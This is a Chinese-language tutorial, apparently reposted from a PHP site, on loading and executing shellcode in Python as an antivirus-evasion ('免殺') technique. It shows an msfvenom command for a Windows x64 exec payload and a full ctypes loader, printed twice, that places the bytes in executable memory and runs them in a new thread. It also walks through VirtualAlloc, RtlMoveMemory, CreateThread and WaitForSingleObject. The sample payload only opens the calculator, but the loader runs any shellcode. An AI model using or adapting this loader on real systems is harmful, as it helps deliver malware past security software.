首先透過下列指令產生一個shellcode,使用msfvenom -p選項來指定paylaod,這裡選用windows/x64、exec模組接收的參數。使用calc.exe執行彈出計算器的操作。 -f選項用來執行產生的shellcdoe的編譯語言。
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
程式為:
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
#匯入模組,且程式分配記憶體還有可進行讀寫操作。
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
區域可執行程式碼,可讀可寫
PAGE_EXECUTE_READWRITE = 0x00000040
分配記憶體
MEM_COMMIT = 0x3000
給予進程所有權限
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
呼叫windows api
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
將前面產生的shellcode賦值給shellcode參數,賦值前使用bytearray函數處理
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
建立一個方法並調用,申請內存,將shellcode指向分配的記憶體指針,再複製shellcode到記憶體中,建立線程事件並執行:
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc是用來申請記憶體空間,是一個Windows API函數,它的宣告為:
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory從指定記憶體複製記憶體至另一個記憶體裡.語法為:
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
參數:
Destination :指向移動目的位址的指標。
Source :指向要複製的記憶體位址的指標。
Length :指定要複製的位元組數。
CreateThread是一種微軟在Windows API中提供了建立新的執行緒的函數,該函數在主執行緒的基礎上建立一個新執行緒。
函數原型:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
參數意義
lpThreadAttributes:指向SECURITY_ATTRIBUTES型態的結構的指標。在Windows 98中忽略該參數。在Windows NT中,NULL使用預設安全性,不可以被子執行緒繼承,否則需要定義一個結構體將它的bInheritHandle成員初始化為TRUE。
dwStackSize,設定初始堆疊的大小,以位元組為單位,如果為0,那麼預設將使用與呼叫該函數的執行緒相同的堆疊空間大小。任何情況下,Windows都根據需要動態延長堆疊的大小。
lpStartAddress,指向線程函數的指針,形式:@函數名,函數名稱沒有限制
lpParameter:向線程函數傳遞的參數,是指向結構的指針,不需傳遞參數時,為NULL。
dwCreationFlags :線程標誌,可取值如下
(1)CREATE_SUSPENDED(0x00000004):建立一個掛起的執行緒,
(2)0:表示創建後立即啟動。
(3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數指定初始的保留堆疊 的大小,否則,dwStackSize指定提交的大小。此標記值在Windows 2000/NT and Windows Me/98/95上不支援。
lpThreadId:儲存新執行緒的id。
WaitForSingleObject是一種Windows API函數。當等待仍在掛起狀態時,句柄被關閉,那麼函數行為是未定義的。該句柄必須具有 SYNCHRONIZE 存取權。
聲明:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in]物件句柄。可以指定一系列的對象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
dwMilliseconds[in]定時時間間隔,單位為milliseconds(毫秒).如果指定一個非零值,函數處於等待狀態直到hHandle標記的物件被觸發,或者時間到了。如果dwMilliseconds為0,物件沒有被觸發訊號,函數不會進入一個等待狀態,它總是立即返回。如果dwMilliseconds為INFINITE,物件觸發訊號後,函數才會回傳。
運行程式可以成功彈出計算器。
以上是何為python免殺技術shellcode的載入和執行方法?的詳細內容。更多資訊請關注PHP中文網其他相關文章!